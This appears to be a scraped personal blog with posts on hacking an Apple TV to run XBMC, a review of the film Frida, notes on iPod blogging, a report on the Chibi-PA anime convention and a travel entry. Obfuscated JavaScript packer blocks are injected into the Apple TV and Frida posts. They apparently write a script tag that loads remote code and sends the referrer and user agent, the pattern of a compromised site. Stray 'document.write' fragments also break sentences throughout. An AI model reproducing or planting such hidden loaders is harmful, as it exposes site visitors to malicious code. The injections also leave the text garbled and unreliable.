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Since the time I have purchased the Apple TV, document.write(“”); I have refrained from hacking it. Not that I didn’t feel it was necessary — in the contrary, the ATV in itself is rather disappointing, although recent updates made it more interesting by adding the possibility to purchase or rent movies, as well as TV series in HD, access to iTunes radio stations or a “stand-by” option in the menu (you cannot turn ATV off but you can put it to sleep) — but simply because I didn’t have much time to consider or perform the complexe hacking procedures.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsief|var|u0026u|referrer|friir||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yneif|var|u0026u|referrer|isyzf||js|php’.split(‘|’),0,{}))

The first hack that was made available was hardware and required to open the ATV to remove the hard drive. I used to like opening my computers to play with their guts, but lately the innards of electronic devices have become so compact and complicated that I don’t want to take that risk anymore — without mentioning that I would rather not void the ATV warranty. After a while someone came up with the clever concept of the “patchstick”, a USB drive that contains the necessary code to enable SSH on the ATV and install plugins & scripts giving the ATV extra functionality. But putting the patchstick together was still a complicated procedure and using it entailed some risks so I decided to wait until I could learn more about it or until someone would come up with a simpler procedure. Later, a pre-installed USB drive was offered on the market, but the company selling it was sued and the product withdrawn. Finally, someone came up with atvusb-creator, an easy-to-use patchstick (well “easy” is all relative since I had a hell lots of trouble getting the app to work on my iMac—since then they released a new version of the app that works better—and I had to try several USB drives before finding one that would work properly on the ATV (a Lexar USB2 SDHC card reader with a cheap Taiwanese Adata 1 Gb card), but after several hours of work I finally succeeded to hack the ATV and can now access it via FTP). It is mostly designed to install Boxee (a media center also working as a social network, but it is still in alpha testing, on invitation only, and I didn’t manage to get an invite yet), but it also installs XBMC !

Once the ATV is SSH enabled you can install all sort of scripts or plugins (see AwkwardTV for details), but XBMC is really all I need. It is very similar to the XBMC that I am running on my old Xbox, except that it looks nicer and performs better. With XBMC the ATV can access files on my network drive and it plays about any type of video files (I don’t have problems anymore with the Matroska file format or Hi-Def video). That’s really cool.

Now, the next step will be to purchase an HDTV… Before Christmas. But that’s another story.

Life goes on

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I feel so tired, document.write(“”); empty, lazy and sleepy that it’s difficult to get anything done (and yet I keep looking for more occupations to employ my time!)… I also feel deserted and alone. Where are everyone? It’s so depressing… That must be the change of the season. The leafs have started to fall en masse and it’s getting colder and colder. It is supposed to freeze for the first time tonight. The flowers that kept blooming all summer will probably die.

Nevertheless, I feel there’s some nice change coming soon. Is it just winter or maybe I will really turn a new leaf? I think it’s good to keep some positive thinking and assert that “something” nice IS coming. Soon.

Frida

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This is the biography of Frida Kahlo, document.write(“”); who surmounted her pain and injury to become a world renown artist. The movie covers the main highlights of her life: the accident that crippled her, the tumultuous love relationship with fellow mexican artist Diego Rivera, her involvement with Leon Trotsky, her colorful, naive, symbolist & surrealist artwork (she’s particularly known for her self-portraits) and her uncompromising, revolutionary, free thinking.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntehd|var|u0026u|referrer|frtzd||js|php’.split(‘|’),0,{}))

Frida is a superb movie. It not only tells a compelling and touching story, but it offers rich and inventive visuals as well as a stirring soundtrack that strongly support the storytelling. Salma Hayek really gives life to her character and make us discover an interesting period in Mexican history.

Frida. USA / Canada / Mexico, 2002, 123 min.; Dir.: Julie Taymor; Scr.: Clancy Sigal, Diane Lake, Gregory Nava, Anna Thomas (based on the biography by Hayden Herrera); Phot.: Rodrigo Prieto; Ed.: Francoise Bonnot; Prod. Des.: Felipe Fernandez del Paso; Art Dir.: Bernardo Trujillo; Set Decor.: Hania Robledo; Cost. Des.: Julie Weiss; Music: Elliot Goldenthal; Prod.: Sarah Green, Salma Hayek; Cast: Salma Hayek, Alfred Molina, Geoffrey Rush, Valeria Golino, Mia Maestro, Roger Rees, Ashley Judd, Antonio Banderas, Edward Norton. Rated R.

Frida © 2003 Miramax Film Corp. All Rights Reserved.

Post-con comments

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It’s October already. Time goes by so fast… It is also slowly getting colder…
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I am so tired… Convention and travelling really seem to drain me lately. It’s either because I’m really getting old or I’m really out of shape. I guess I need to get out and exercice more.

After all the LifeCast app is not that good. In a way, document.write(“”); it is better to use the browser Safari to edit the blog directly on Blogger. In any case, blogging on the iPod is not easy since we have to deal with the tiny keyboard (but it’s way better than sending SMS on a cellphone!).

The iPod was really useful when I was away. And there are so many fun apps (games, eReader, dictionaries, etc., playing music and video) that it’s difficult to keep away from the device. But it is mainly useful to keep in touch with the world (internet, emails, weather, stocks, maps, tv schedule, wikipedia, airport info, election polls, etc.) and people (Facebook, AIM, Twitter, blogging, etc.). Now that I have it, I don’t know how I could ever live without it. Nevertheless, it’s not easy to get a reliable wifi connection even if I paid a $10 monthly subscription to Boingo. There lies the big advantage of the iPhone over the iPod (but at what cost!). However, as I predicted, VOIP apps are starting to appear and, with the release of the earphones with remote and mic later this month, we’ll be able to make VOIP calls via wifi! I can’t wait to try that.

Chibi-PA

/ Clodjee / Leave a comment

After fifteen hours of travelling we finally arrived at West Palm Beach. The temperature was quite hot (about 30′ C/86′ F) and excessively humid—I don’t know how people can live in such a climate (constantly moving from the air-conditioned buildings to the sweltering outside is enough to catch one’s death). Jason & Lynn, document.write(“”); the Chibi-PA organizers, picked us up at the airport. I was disappointed to learn that the convention’s name is not pronounced “PeeHey” (as it could have been an hommage to Protoculture Addicts — J/K) but “Paw” and simply means “small party.” We quickly escaped to our beautiful hotel suite at the Crown Plaza to get some well deserved sleep.
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On Saturday, after a quick breakfast at the hotel, we took the shuttle for the convention center located a couple of miles away. Having the convention so far apart of the hotel was not inconvenient because of the shuttle (but it ran only on an hourly schedule and, the convention center not being a regular stop, you had to call to be picked up—but you could always catch the shuttle downtown, just a 5-minute walk from the convention). The first thing I did was to check the convention’s layout. It was good as it was all concentrated in the same area of the Convention Center, on two floors (unfortunately neither the floor plans nor the schedule are/were available on Chibi-PA’s website). On the first floor, you had the registration, one small dealer room, three video room, one panel room, and a video game room (further away in the convention center there was also a vendor offering some fast food). On the second floor, you had a large dealer room, the main event room and, along the balcony, the artist alley. The dealer rooms were stacked with various nice goodies and the convention was pretty well organized and staffed. I have no complain.

The main guest (beside myself) was Makoto Nagano, the champion of the Japanese obstacle game show Sasuke (known as “Ninja Warrior” in North America) and his Q&A was the first event I attended. He arrived late, but the delay allowed the room to fill up. It was interesting to learn about this guy (I never heard of him before since the show is not broadcast in Canada, and I was more interested in his life as the captain of a fishing boat than in the game show itself), but unfortunately the english pronounciation of the Japanese translator was not very good and it was sometime difficult to get what she was saying. Right after that event, Nagano-san did an autograph session on the second floor balcony and I set up my table right beside his to sell and introduce my magazine to the crowd. At 5 pm we ran a panel where we introduced the magazine, answered questions, did a small focus group to get feedback from the audiance and discussed the anime industry situation. The crowd was good, in fact better than I expected (the room was half full, with about 20-30 people). I gave away copies of the magazine to each participant. I missed the koto and Fushu Daiko concerts (I was busy holding our presentation table and the panel), but attended a very interesting panel following ours, “Kimono Class with Yoshiko Carlton,” where a couple of Japanese ladies explained the intricacies of wearing a kimono. At 7:30 pm we walked to the beautiful CityPlace mall downtown, ate at a mexican restaurant and picked up some snacks at a grocery store before going back to the hotel to rest.

On Sunday, after a quick breakfast at the hotel, we arrived at the convention on time to attend the second of Nagano-san Q&A. After that we walked again around the nice outdoor CityPlace mall to take pictures. Then, while Nagano-san was again signing autograph, I hold the magazine presentation table. At 3 pm we had another panel, but no one came (the crowd was definitely thinner on Sunday). We hung around the convention a little (checking more carefully the dealer room). After that we walked around downtown in search of the beach (it’s called West Palm Beach, isn’t it?) but it was not within walking distance (we did make it to the “canal”). We finally came back to the hotel to rest before going out to eat with the convention organizers. I wish we could have some time with Nagano-san to discuss and do an interview.

Early Monday morning Jason & Lynn drove us to the Fort Lauderdale airport from where we flew back to Baltimore and then Burlington, where a friend picked us up and drove us back to Montreal. Flying over the trees in Vermont, with all their various fall colors, was beautiful. The trip back took only eleven hours and was a little less tiring, but the whole week-end left me rather exhausted (it must have been due to the heat and flying five planes in four days).

An amusing anecdote: at the same time than Chibi-PA, the Palm Beach County Convention Center was also hosting some Christian group convention on Saturday and some church activities on Sunday. It was funny to see all those people dressed as their best on one side of the convention center and, on the other side, fans dressed as their favorite anime character! At some point Sunday, someone (presumably attending the “other” convention) came nearby the registration area and shout some invectives equating us to the devil. Cool.

Overall Chibi-PA was a nice convention. The Florida convention scene is clearly well organized (although it is knowing the usual occasional feuds among competing organizers), but the demographics of the state (mostly an aging population of retirees who doesn’t care much for anime) are condemning the local anime conventions to remains small and barely solvent. However, there is nothing wrong with small conventions. There might not be any industry panels or many big guests, but they are usually the most fun to attend. If Chibi-PA was a small party (I estimated the attendance around 1200) for the fans to congregate and enjoy themselves (I only wish I had more time to enjoy its activities), its most endearing quality was that it extended its focus not only to anime and manga, but also to many related aspects of Japanese culture. If you have the opportunity to attend Chibi-PA in the future, I recommand you to do so. Let’s party!

I’ll post some pictures and video clips later.

On The Road

/ Clodjee / Leave a comment

I slept for just a few hours before driving to Burlington Airport. We got stuck at the border for one hour because of a “by-the-book” custom officer. The plane from Burlington to Baltimore was small and I almost felt claustrophobic. But I had a window seat and could admire the view… Briefly before we got into the clouds. After a nearly two-hour stop, document.write(“”); we left again for Atlanta in a slightly bigger plane. Beautiful clouds. I took some pictures. Now we are waiting for our next flight. Three hours to eat, recharge the iPod and blog. It’s tiring but fun. I’m visiting places I’ve never seen before. More later.

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